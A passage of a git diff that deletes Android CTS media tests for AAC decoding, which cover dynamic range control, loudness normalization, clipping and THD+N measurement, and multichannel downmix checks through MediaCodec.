-        DrcParams drcParams = new DrcParams(0, 0, 64, 0);       // normalize to -16dBFS
-        short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot5_drcoff_mp4,
-                -1, null, drcParams, null /*decoderName: use default decoder*/);
-        DecoderTest decTester = new DecoderTest();
-        decTester.checkEnergy(decSamples, decParams, 2, 0.80f);
-    }
-
-    /**
-     * Verify correct decoding of MPEG-4 AAC with Dynamic Range Control (DRC) metadata.
-     * Apply heavy compression gains and normalize to -16dBFS output level.
-     */
-    @Test
-    public void testDecodeAacDrcHeavyM4a() throws Exception {
-        AudioParameter decParams = new AudioParameter();
-        // full boost, full cut, target ref level: -16dBFS, heavy compression: yes
-        DrcParams drcParams = new DrcParams(127, 127, 64, 1);
-        short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot2_drcheavy_mp4,
-                -1, null, drcParams, null /*decoderName: use default decoder*/);
-        DecoderTest decTester = new DecoderTest();
-        decTester.checkEnergy(decSamples, decParams, 2, 0.80f);
-    }
-
-    /**
-     * Test signal limiting (without clipping) of MPEG-4 AAC decoder with the help of DRC metadata.
-     * Uses a two channel 248 Hz sine tone at 48 kHz sampling rate for input.
-     */
-    @Test
-    public void testDecodeAacDrcClipM4a() throws Exception {
-        AudioParameter decParams = new AudioParameter();
-        short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot5_drcclip_mp4,
-                -1, null, null, null /*decoderName: use default decoder*/);
-        checkClipping(decSamples, decParams, 248.0f /* Hz */);
-    }
-
-    /**
-     * Test if there is decoder internal clipping of MPEG-4 AAC decoder.
-     * Uses a two channel 248 Hz sine tone at 48 kHz sampling rate for input.
-     */
-    @Test
-    public void testDecodeAacInternalClipM4a() throws Exception {
-        if (!MediaUtils.check(sIsAndroidRAndAbove, "Internal clipping fixed in Android R"))
-                return;
-        AudioParameter decParams = new AudioParameter();
-        short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot2_internalclip_mp4,
-                -1, null, null, null /*decoderName: use default decoder*/);
-        checkClipping(decSamples, decParams, 248.0f /* Hz */);
-    }
-
-    /**
-     * Default decoder target level.
-     * The actual default value used by the decoder can differ between platforms, or even devices,
-     * but tests will measure energy relative to this value.
-     */
-    public static final int DEFAULT_DECODER_TARGET_LEVEL = 64; // -16.0 dBFs
-
-    /**
-     * Test USAC decoder with different target loudness levels
-     */
-    @Test
-    public void testDecodeUsacLoudnessM4a() throws Exception {
-        Log.v(TAG, "START testDecodeUsacLoudnessM4a");
-
-        ArrayList<String> aacDecoderNames = DecoderTestXheAac.initAacDecoderNames();
-        assertTrue("No AAC decoder found", aacDecoderNames.size() > 0);
-
-        for (String aacDecName : aacDecoderNames) {
-            // test default loudness
-            // decoderTargetLevel = 64 --> target output level = -16.0 dBFs
-            try {
-                checkUsacLoudness(DEFAULT_DECODER_TARGET_LEVEL, 1, 1.0f, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
-                        aacDecName);
-                throw new RuntimeException(e);
-            }
-
-            // test loudness boost
-            // decoderTargetLevel = 40 --> target output level = -10.0 dBFs
-            // normFactor = 1/(10^(-6/10)) = 3.98f
-            //   where "-6" is the difference between the default level (-16), and -10 for this test
-            try {
-                checkUsacLoudness(40, 1, (float)(1.0f/Math.pow(10.0f, -6.0f/10.0f)), aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness boost failed for " + aacDecName);
-                throw new RuntimeException(e);
-            }
-
-            // test loudness attenuation
-            // decoderTargetLevel = 96 --> target output level = -24.0 dBFs
-            // normFactor = 1/(10^(8/10)) = 0.15f
-            //     where 8 is the difference between the default level (-16), and -24 for this test
-            try {
-                checkUsacLoudness(96, 0, (float)(1.0f/Math.pow(10.0f, 8.0f/10.0f)), aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness attenuation failed for "
-                        + aacDecName);
-                throw new RuntimeException(e);
-            }
-
-            if (sIsAndroidRAndAbove) {
-                // test loudness normalization off
-                // decoderTargetLevel = -1 --> target output level = -19.0 dBFs (program loudness of
-                // waveform)
-                // normFactor = 1/(10^(3/10)) = 0.5f
-                // where 3 is the difference between the default level (-16), and -19 for this test
-                try {
-                    checkUsacLoudness(-1, 0, (float) (1.0f / Math.pow(10.0f, 3.0f / 10.0f)),
-                            aacDecName);
-                } catch (Exception e) {
-                    Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness attenuation failed for "
-                            + aacDecName);
-                    throw new RuntimeException(e);
-                }
-            }
-        }
-    }
-
-    /**
-     * Verify that the correct output loudness values are returned by the MPEG-4 AAC decoder
-     */
-    @Test
-    public void testDecodeAacDrcOutputLoudnessM4a() throws Exception {
-        Log.v(TAG, "START testDecodeAacDrcOutputLoudnessM4a");
-
-        ArrayList<String> aacDecoderNames = DecoderTestXheAac.initAacDecoderNames();
-        assertTrue("No AAC decoder found", aacDecoderNames.size() > 0);
-
-        for (String aacDecName : aacDecoderNames) {
-            // test drc output loudness
-            // testfile without loudness metadata and loudness normalization off
-            // -> expected value: -1
-            try {
-                checkAacDrcOutputLoudness(
-                        R.raw.noise_1ch_24khz_aot5_dr_sbr_sig1_mp4, -1, -1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
-                        aacDecName);
-                throw new RuntimeException(e);
-            }
-            // test drc output loudness
-            // testfile without loudness metadata and loudness normalization on
-            // -> expected value: -1
-            try {
-                checkAacDrcOutputLoudness(
-                        R.raw.noise_1ch_24khz_aot5_dr_sbr_sig1_mp4, 70, -1, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
-                        aacDecName);
-                throw new RuntimeException(e);
-            }
-            // test drc output loudness
-            // testfile with MPEG-4 DRC loudness metadata and loudness normalization off
-            // -> expected value: loudness metadata in bitstream (-16*-4 = 64)
-            try {
-                checkAacDrcOutputLoudness(
-                        R.raw.sine_2ch_48khz_aot2_drchalf_mp4, -1, 64, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
-                        aacDecName);
-                throw new RuntimeException(e);
-            }
-            // test drc output loudness
-            // testfile with MPEG-4 DRC loudness metadata and loudness normalization off
-            // -> expected value: loudness metadata in bitstream (-31*-4 = 124)
-            try {
-                checkAacDrcOutputLoudness(
-                        R.raw.sine_2ch_48khz_aot5_drcclip_mp4, -1, 124, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
-                        aacDecName);
-                throw new RuntimeException(e);
-            }
-            // test drc output loudness
-            // testfile with MPEG-4 DRC loudness metadata and loudness normalization on
-            // -> expected value: target loudness value (85)
-            try {
-                checkAacDrcOutputLoudness(
-                        R.raw.sine_2ch_48khz_aot5_drcclip_mp4, 85, 85, aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
-                        aacDecName);
-                throw new RuntimeException(e);
-            }
-        }
-    }
-
-    /**
-     *  Internal utilities
-     */
-
-    /**
-     * The test routine performs a THD+N (Total Harmonic Distortion + Noise) analysis on a given
-     * audio signal (decSamples). The THD+N value is defined here as harmonic distortion (+ noise)
-     * RMS over full signal RMS.
-     *
-     * After the energy measurement of the unprocessed signal the routine creates and applies a
-     * notch filter at the given frequency (sineFrequency). Afterwards the signal energy is
-     * measured again. Then the THD+N value is calculated as the ratio of the filtered and the full
-     * signal energy.
-     *
-     * The test passes if the THD+N value is lower than -60 dB. Otherwise it fails.
-     *
-     * @param decSamples the decoded audio samples to be tested
-     * @param decParams the audio parameters of the given audio samples (decSamples)
-     * @param sineFrequency frequency of the test signal tone used for testing
-     * @throws RuntimeException
-     */
-    private void checkClipping(short[] decSamples, AudioParameter decParams, float sineFrequency)
-            throws RuntimeException
-    {
-        final double threshold_clipping = -60.0; // dB
-        final int numChannels = decParams.getNumChannels();
-        final int startSample = 2 * 2048 * numChannels;          // exclude signal on- & offset to
-        final int stopSample = decSamples.length - startSample;  // ... measure only the stationary
-                                                                 // ... sine tone
-        // get full energy of signal (all channels)
-        double nrgFull = getEnergy(decSamples, startSample, stopSample);
-
-        // create notch filter to suppress sine-tone at 248 Hz
-        Biquad filter = new Biquad(sineFrequency, decParams.getSamplingRate());
-        for (int channel = 0; channel < numChannels; channel++) {
-            // apply notch-filter on buffer for each channel to filter out the sine tone.
-            // only the harmonics (and noise) remain. */
-            filter.apply(decSamples, channel, numChannels);
-        }
-
-        // get energy of harmonic distortion (signal without sine-tone)
-        double nrgHd = getEnergy(decSamples, startSample, stopSample);
-
-        // Total Harmonic Distortion + Noise, defined here as harmonic distortion (+ noise) RMS
-        // over full signal RMS, given in dB
-        double THDplusN = 10 * Math.log10(nrgHd / nrgFull);
-        assertTrue("signal has clipping samples", THDplusN <= threshold_clipping);
-    }
-
-    /**
-     * Measure the energy of a given signal over all channels within a given signal range.
-     * @param signal audio signal samples
-     * @param start start offset of the measuring range
-     * @param stop stop sample which is the last sample of the measuring range
-     * @return the signal energy in the given range
-     */
-    private double getEnergy(short[] signal, int start, int stop) {
-        double nrg = 0.0;
-        for (int sample = start; sample < stop; sample++) {
-            double v = signal[sample];
-            nrg += v * v;
-        }
-        return nrg;
-    }
-
-    // Notch filter implementation
-    private class Biquad {
-        // filter coefficients for biquad filter (2nd order IIR filter)
-        float[] a;
-        float[] b;
-        // filter states
-        float[] state_ff;
-        float[] state_fb;
-
-        protected float alpha = 0.95f;
-
-        public Biquad(float f_notch, float f_s) {
-            // Create filter coefficients of notch filter which suppresses a sine tone with f_notch
-            // Hz at sampling frequency f_s. Zeros placed at unit circle at f_notch, poles placed
-            // nearby the unit circle at f_notch.
-            state_ff = new float[2];
-            state_fb = new float[2];
-            state_ff[0] = state_ff[1] = state_fb[0] = state_fb[1] = 0.0f;
-
-            a = new float[3];
-            b = new float[3];
-            double omega = 2.0 * Math.PI * f_notch / f_s;
-            a[0] = b[0] = b[2] = 1.0f;
-            a[1] = -2.0f * alpha * (float)Math.cos(omega);
-            a[2] = alpha * alpha;
-            b[1] = -2.0f * (float)Math.cos(omega);
-        }
-
-        public void apply(short[] signal, int offset, int stride) {
-            // reset states
-            state_ff[0] = state_ff[1] = 0.0f;
-            state_fb[0] = state_fb[1] = 0.0f;
-            // process 2nd order IIR filter in Direct Form I
-            float x_0, x_1, x_2, y_0, y_1, y_2;
-            x_2 = state_ff[0];  // x[n-2]
-            x_1 = state_ff[1];  // x[n-1]
-            y_2 = state_fb[0];  // y[n-2]
-            y_1 = state_fb[1];  // y[n-1]
-            for (int sample = offset; sample < signal.length; sample += stride) {
-                x_0 = signal[sample];
-                y_0 = b[0] * x_0 + b[1] * x_1 + b[2] * x_2
-                        - a[1] * y_1 - a[2] * y_2;
-                x_2 = x_1;
-                x_1 = x_0;
-                y_2 = y_1;
-                y_1 = y_0;
-                signal[sample] = (short)y_0;
-            }
-            state_ff[0] = x_2;  // next x[n-2]
-            state_ff[1] = x_1;  // next x[n-1]
-            state_fb[0] = y_2;  // next y[n-2]
-            state_fb[1] = y_1;  // next y[n-1]
-        }
-    }
-
-    /**
-     * USAC test DRC loudness
-     */
-    private void checkUsacLoudness(int decoderTargetLevel, int heavy, float normFactor,
-            String decoderName) throws Exception {
-        for (boolean runtimeChange : new boolean[] {false, true}) {
-            if (runtimeChange && !sIsAndroidRAndAbove) {
-                // changing decoder configuration after it has been initialized requires R and above
-                continue;
-            }
-            AudioParameter decParams = new AudioParameter();
-            DrcParams drcParams_def  = new DrcParams(127, 127, DEFAULT_DECODER_TARGET_LEVEL, 1);
-            DrcParams drcParams_test = new DrcParams(127, 127, decoderTargetLevel, heavy);
-
-            short[] decSamples_def = decodeToMemory(decParams,
-                    R.raw.noise_2ch_48khz_aot42_19_lufs_mp4,
-                    -1, null, drcParams_def, decoderName);
-            short[] decSamples_test = decodeToMemory(decParams,
-                    R.raw.noise_2ch_48khz_aot42_19_lufs_mp4,
-                    -1, null, drcParams_test, decoderName, runtimeChange);
-
-            DecoderTestXheAac decTesterXheAac = new DecoderTestXheAac();
-            float[] nrg_def  = decTesterXheAac.checkEnergyUSAC(decSamples_def, decParams, 2, 1);
-            float[] nrg_test = decTesterXheAac.checkEnergyUSAC(decSamples_test, decParams, 2, 1);
-
-            float[] nrgThreshold = {2602510595620.0f, 2354652443657.0f};
-
-            // Check default loudness behavior
-            if (nrg_def[0] > nrgThreshold[0] || nrg_def[0] < nrgThreshold[1]) {
-                throw new Exception("Default loudness behavior not as expected");
-            }
-
-            float nrgRatio = nrg_def[0]/nrg_test[0];
-
-            // Check for loudness boost/attenuation if decoderTargetLevel deviates from default value
-            // used in these tests (note that the default target level can change from platform
-            // to platform, or device to device)
-            if (decoderTargetLevel != -1) {
-                if ((decoderTargetLevel < DEFAULT_DECODER_TARGET_LEVEL) // boosted loudness
-                        && (nrg_def[0] > nrg_test[0])) {
-                    throw new Exception("Signal not attenuated");
-                }
-                if ((decoderTargetLevel > DEFAULT_DECODER_TARGET_LEVEL) // attenuated loudness
-                        && (nrg_def[0] < nrg_test[0])) {
-                    throw new Exception("Signal not boosted");
-                }
-            }
-            nrgRatio = nrgRatio * normFactor;
-
-            // Check whether loudness behavior is as expected
-            if (nrgRatio > 1.05f || nrgRatio < 0.95f ){
-                throw new Exception("Loudness behavior not as expected");
-            }
-        }
-    }
-
-    /**
-    * AAC test Output Loudness
-    */
-    private void checkAacDrcOutputLoudness(int testInput, int decoderTargetLevel, int expectedOutputLoudness, String decoderName) throws Exception {
-        for (boolean runtimeChange : new boolean[] {false, true}) {
-            AudioParameter decParams = new AudioParameter();
-            DrcParams drcParams_test = new DrcParams(127, 127, decoderTargetLevel, 0, 6);
-
-            // Check drc loudness preference
-            short[] decSamples_test = decodeToMemory(decParams, testInput, -1, null,
-                    drcParams_test, decoderName, runtimeChange, expectedOutputLoudness);
-        }
-    }
-
-
-    /**
-     *  Class handling all MPEG-4 and MPEG-D Dynamic Range Control (DRC) parameter relevant
-     *  for testing
-     */
-    protected static class DrcParams {
-        int mBoost;                          // scaling of boosting gains
-        int mCut;                            // scaling of compressing gains
-        int mDecoderTargetLevel;             // desired target output level (for normalization)
-        int mHeavy;                          // en-/disable heavy compression
-        int mEffectType;                     // MPEG-D DRC Effect Type
-        int mAlbumMode;                      // MPEG-D DRC Album Mode
-
-        public DrcParams() {
-            mBoost = 127;               // no scaling
-            mCut   = 127;               // no scaling
-            mHeavy = 1;                 // enabled
-        }
-
-        public DrcParams(int boost, int cut, int decoderTargetLevel, int heavy) {
-            mBoost = boost;
-            mCut = cut;
-            mDecoderTargetLevel = decoderTargetLevel;
-            mHeavy = heavy;
-        }
-
-        public DrcParams(int boost, int cut, int decoderTargetLevel, int heavy, int effectType) {
-            this(boost, cut, decoderTargetLevel, heavy);
-            mEffectType = effectType;
-        }
-
-        public DrcParams(int boost, int cut, int decoderTargetLevel, int heavy, int effectType,
-                int albumMode) {
-            this(boost, cut, decoderTargetLevel, heavy, effectType);
-            mAlbumMode = albumMode;
-        }
-    }
-
-
-    // TODO: code is the same as in DecoderTest, differences are:
-    //          - addition of application of DRC parameters
-    //          - no need/use of resetMode, configMode
-    //       Split method so code can be shared
-
-    private short[] decodeToMemory(AudioParameter audioParams, int testinput, int eossample,
-            List<Long> timestamps, DrcParams drcParams, String decoderName, boolean runtimeChange,
-            int expectedOutputLoudness)
-            throws IOException
-    {
-        String localTag = TAG + "#decodeToMemory";
-        short [] decoded = new short[0];
-        int decodedIdx = 0;
-
-        AssetFileDescriptor testFd = mResources.openRawResourceFd(testinput);
-
-        MediaExtractor extractor;
-        MediaCodec codec;
-        ByteBuffer[] codecInputBuffers;
-        ByteBuffer[] codecOutputBuffers;
-
-        extractor = new MediaExtractor();
-        extractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
-                testFd.getLength());
-        testFd.close();
-
-        assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
-        MediaFormat format = extractor.getTrackFormat(0);
-        String mime = format.getString(MediaFormat.KEY_MIME);
-        assertTrue("not an audio file", mime.startsWith("audio/"));
-
-        MediaFormat configFormat = format;
-        if (decoderName == null) {
-            codec = MediaCodec.createDecoderByType(mime);
-        } else {
-            codec = MediaCodec.createByCodecName(decoderName);
-        }
-
-        // set DRC parameters
-        if (drcParams != null) {
-            configFormat.setInteger(MediaFormat.KEY_AAC_DRC_BOOST_FACTOR, drcParams.mBoost);
-            configFormat.setInteger(MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR, drcParams.mCut);
-            if (!runtimeChange) {
-                if (drcParams.mDecoderTargetLevel != 0) {
-                    configFormat.setInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL,
-                            drcParams.mDecoderTargetLevel);
-                }
-            }
-            configFormat.setInteger(MediaFormat.KEY_AAC_DRC_HEAVY_COMPRESSION, drcParams.mHeavy);
-        }
-        Log.v(localTag, "configuring with " + configFormat);
-        codec.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
-
-        if (drcParams != null && sIsAndroidRAndAbove) { // querying output format requires R
-            if(!runtimeChange) {
-                // check if MediaCodec gives back correct drc parameters
-                if (drcParams.mDecoderTargetLevel != 0) {
-                    final int targetLevelFromCodec = DecoderTest.getOutputFormatInteger(codec,
-                            MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
-                    if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
-                        fail("DRC Target Ref Level received from MediaCodec is not the level set");
-                    }
-                }
-            }
-        }
-
-        codec.start();
-        codecInputBuffers = codec.getInputBuffers();
-        codecOutputBuffers = codec.getOutputBuffers();
-
-        if (drcParams != null) {
-            if (runtimeChange) {
-                if (drcParams.mDecoderTargetLevel != 0) {
-                    Bundle b = new Bundle();
-                    b.putInt(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL,
-                            drcParams.mDecoderTargetLevel);
-                    codec.setParameters(b);
-                }
-            }
-        }
-
-        extractor.selectTrack(0);
-
-        // start decoding
-        final long kTimeOutUs = 5000;
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        boolean sawInputEOS = false;
-        boolean sawOutputEOS = false;
-        int noOutputCounter = 0;
-        int samplecounter = 0;
-        while (!sawOutputEOS && noOutputCounter < 50) {
-            noOutputCounter++;
-            if (!sawInputEOS) {
-                int inputBufIndex = codec.dequeueInputBuffer(kTimeOutUs);
-
-                if (inputBufIndex >= 0) {
-                    ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
-
-                    int sampleSize =
-                        extractor.readSampleData(dstBuf, 0 /* offset */);
-
-                    long presentationTimeUs = 0;
-
-                    if (sampleSize < 0 && eossample > 0) {
-                        fail("test is broken: never reached eos sample");
-                    }
-                    if (sampleSize < 0) {
-                        Log.d(TAG, "saw input EOS.");
-                        sawInputEOS = true;
-                        sampleSize = 0;
-                    } else {
-                        if (samplecounter == eossample) {
-                            sawInputEOS = true;
-                        }
-                        samplecounter++;
-                        presentationTimeUs = extractor.getSampleTime();
-                    }
-                    codec.queueInputBuffer(
-                            inputBufIndex,
-                            0 /* offset */,
-                            sampleSize,
-                            presentationTimeUs,
-                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
-
-                    if (!sawInputEOS) {
-                        extractor.advance();
-                    }
-                }
-            }
-
-            int res = codec.dequeueOutputBuffer(info, kTimeOutUs);
-
-            if (res >= 0) {
-                //Log.d(TAG, "got frame, size " + info.size + "/" + info.presentationTimeUs);
-
-                if (info.size > 0) {
-                    noOutputCounter = 0;
-                    if (timestamps != null) {
-                        timestamps.add(info.presentationTimeUs);
-                    }
-                }
-
-                int outputBufIndex = res;
-                ByteBuffer buf = codecOutputBuffers[outputBufIndex];
-
-                if (decodedIdx + (info.size / 2) >= decoded.length) {
-                    decoded = Arrays.copyOf(decoded, decodedIdx + (info.size / 2));
-                }
-
-                buf.position(info.offset);
-                for (int i = 0; i < info.size; i += 2) {
-                    decoded[decodedIdx++] = buf.getShort();
-                }
-
-                codec.releaseOutputBuffer(outputBufIndex, false /* render */);
-
-                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    Log.d(TAG, "saw output EOS.");
-                    sawOutputEOS = true;
-                }
-            } else if (res == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                codecOutputBuffers = codec.getOutputBuffers();
-
-                Log.d(TAG, "output buffers have changed.");
-            } else if (res == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                MediaFormat oformat = codec.getOutputFormat();
-                audioParams.setNumChannels(oformat.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
-                audioParams.setSamplingRate(oformat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
-                Log.d(TAG, "output format has changed to " + oformat);
-            } else {
-                Log.d(TAG, "dequeueOutputBuffer returned " + res);
-            }
-        }
-        if (noOutputCounter >= 50) {
-            fail("decoder stopped outputing data");
-        }
-
-        // check if MediaCodec gives back correct drc parameters (R and above)
-        if (drcParams != null && sIsAndroidRAndAbove) {
-            if (drcParams.mDecoderTargetLevel != 0) {
-                final int targetLevelFromCodec = DecoderTest.getOutputFormatInteger(codec,
-                        MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
-                if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
-                    fail("DRC Target Ref Level received from MediaCodec is not the level set");
-                }
-            }
-
-            final int cutFromCodec = DecoderTest.getOutputFormatInteger(codec,
-                    MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR);
-            assertEquals("Attenuation factor received from MediaCodec differs from set:",
-                    drcParams.mCut, cutFromCodec);
-            final int boostFromCodec = DecoderTest.getOutputFormatInteger(codec,
-                    MediaFormat.KEY_AAC_DRC_BOOST_FACTOR);
-            assertEquals("Boost factor received from MediaCodec differs from set:",
-                    drcParams.mBoost, boostFromCodec);
-        }
-
-        // expectedOutputLoudness == -2 indicates that output loudness is not tested
-        if (expectedOutputLoudness != -2 && sIsAndroidRAndAbove) {
-            final int outputLoudnessFromCodec = DecoderTest.getOutputFormatInteger(codec,
-                    MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
-            if (outputLoudnessFromCodec != expectedOutputLoudness) {
-                fail("Received decoder output loudness is not the expected value");
-            }
-        }
-
-        codec.stop();
-        codec.release();
-        return decoded;
-    }
-
-    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
-            int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName)
-            throws IOException
-    {
-        final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
-                drcParams, decoderName, false, -2);
-        return decoded;
-    }
-
-    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
-            int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName,
-            boolean runtimeChange)
-            throws IOException
-    {
-        final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
-                drcParams, decoderName, runtimeChange, -2);
-        return decoded;
-    }
-
-}
-
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacFormat.java b/tests/tests/media/src/android/media/cts/DecoderTestAacFormat.java
deleted file mode 100755
index 06a86d0..0000000
--- a/tests/tests/media/src/android/media/cts/DecoderTestAacFormat.java
+++ /dev/null
@@ -1,238 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.Instrumentation;
-import android.content.res.AssetFileDescriptor;
-import android.media.MediaCodec;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.cts.DecoderTest.AudioParameter;
-import android.os.Build;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import java.io.File;
-import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.util.Arrays;
-
-@AppModeFull(reason = "Instant apps cannot access the SD card")
-public class DecoderTestAacFormat {
-    private static final String TAG = "DecoderTestAacFormat";
-
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-    private static final boolean sIsAndroidRAndAbove =
-            ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
-
-    @Before
-    public void setUp() throws Exception {
-        final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
-        assertNotNull(inst);
-    }
-
-    /**
-     * Verify downmixing to stereo at decoding of MPEG-4 HE-AAC 5.0 and 5.1 channel streams
-     */
-    @Test
-    public void testHeAacM4aMultichannelDownmix() throws Exception {
-        Log.i(TAG, "START testDecodeHeAacMcM4a");
-
-        if (!MediaUtils.check(sIsAndroidRAndAbove, "M-chan downmix fixed in Android R"))
-            return;
-
-        // array of multichannel resources with their expected number of channels without downmixing
-        Object [][] samples = {
-                //  {resource, numChannels},
-                {"noise_5ch_48khz_aot5_dr_sbr_sig1_mp4.m4a", 5},
-                {"noise_6ch_44khz_aot5_dr_sbr_sig2_mp4.m4a", 6},
-        };
-        for (Object [] sample: samples) {
-            for (String codecName : DecoderTest.codecsFor((String)sample[0] /* resource */,
-                    DecoderTest.CODEC_DEFAULT)) {
-                // verify correct number of channels is observed without downmixing
-                AudioParameter chanParams = new AudioParameter();
-                decodeUpdateFormat(codecName, (String) sample[0] /*resource*/, chanParams,
-                        0 /*no downmix*/);
-                assertEquals("Number of channels differs for codec:" + codecName,
-                        sample[1], chanParams.getNumChannels());
-
-                // verify correct number of channels is observed when downmixing to stereo
-                AudioParameter downmixParams = new AudioParameter();
-                decodeUpdateFormat(codecName, (String) sample[0] /* resource */, downmixParams,
-                        2 /*stereo downmix*/);
-                assertEquals("Number of channels differs for codec:" + codecName,
-                        2, downmixParams.getNumChannels());
-
-            }
-        }
-    }
-
-    /**
-     *
-     * @param decoderName
-     * @param testInput
-     * @param audioParams
-     * @param downmixChannelCount 0 if no downmix requested,
-     *                           positive number for number of channels in requested downmix
-     * @throws IOException
-     */
-    private void decodeUpdateFormat(String decoderName, final String testInput,
-            AudioParameter audioParams, int downmixChannelCount)
-            throws IOException
-    {
-        Preconditions.assertTestFileExists(mInpPrefix + testInput);
-        File inpFile = new File(mInpPrefix + testInput);
-        ParcelFileDescriptor parcelFD =
-                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-        AssetFileDescriptor testFd = new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-
-        MediaExtractor extractor = new MediaExtractor();
-        extractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
-                testFd.getLength());
-        testFd.close();
-
-        assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
-        MediaFormat format = extractor.getTrackFormat(0);
-        String mime = format.getString(MediaFormat.KEY_MIME);
-        assertTrue("not an audio file", mime.startsWith("audio/"));
-
-        MediaCodec decoder;
-        if (decoderName == null) {
-            decoder = MediaCodec.createDecoderByType(mime);
-        } else {
-            decoder = MediaCodec.createByCodecName(decoderName);
-        }
-
-        MediaFormat configFormat = format;
-        if (downmixChannelCount > 0) {
-            configFormat.setInteger(
-                    MediaFormat.KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT, downmixChannelCount);
-        }
-
-        Log.v(TAG, "configuring with " + configFormat);
-        decoder.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
-
-        decoder.start();
-        ByteBuffer[] codecInputBuffers = decoder.getInputBuffers();
-        ByteBuffer[] codecOutputBuffers = decoder.getOutputBuffers();
-
-        extractor.selectTrack(0);
-
-        // start decoding
-        final long kTimeOutUs = 5000;
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        boolean sawInputEOS = false;
-        boolean sawOutputEOS = false;
-        int noOutputCounter = 0;
-        int samplecounter = 0;
-        short[] decoded = new short[0];
-        int decodedIdx = 0;
-        while (!sawOutputEOS && noOutputCounter < 50) {
-            noOutputCounter++;
-            if (!sawInputEOS) {
-                int inputBufIndex = decoder.dequeueInputBuffer(kTimeOutUs);
-
-                if (inputBufIndex >= 0) {
-                    ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
-
-                    int sampleSize =
-                            extractor.readSampleData(dstBuf, 0 /* offset */);
-
-                    long presentationTimeUs = 0;
-
-                    if (sampleSize < 0) {
-                        Log.d(TAG, "saw input EOS.");
-                        sawInputEOS = true;
-                        sampleSize = 0;
-                    } else {
-                        samplecounter++;
-                        presentationTimeUs = extractor.getSampleTime();
-                    }
-                    decoder.queueInputBuffer(
-                            inputBufIndex,
-                            0 /* offset */,
-                            sampleSize,
-                            presentationTimeUs,
-                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
-
-                    if (!sawInputEOS) {
-                        extractor.advance();
-                    }
-                }
-            }
-
-            int res = decoder.dequeueOutputBuffer(info, kTimeOutUs);
-
-            if (res >= 0) {
-                if (info.size > 0) {
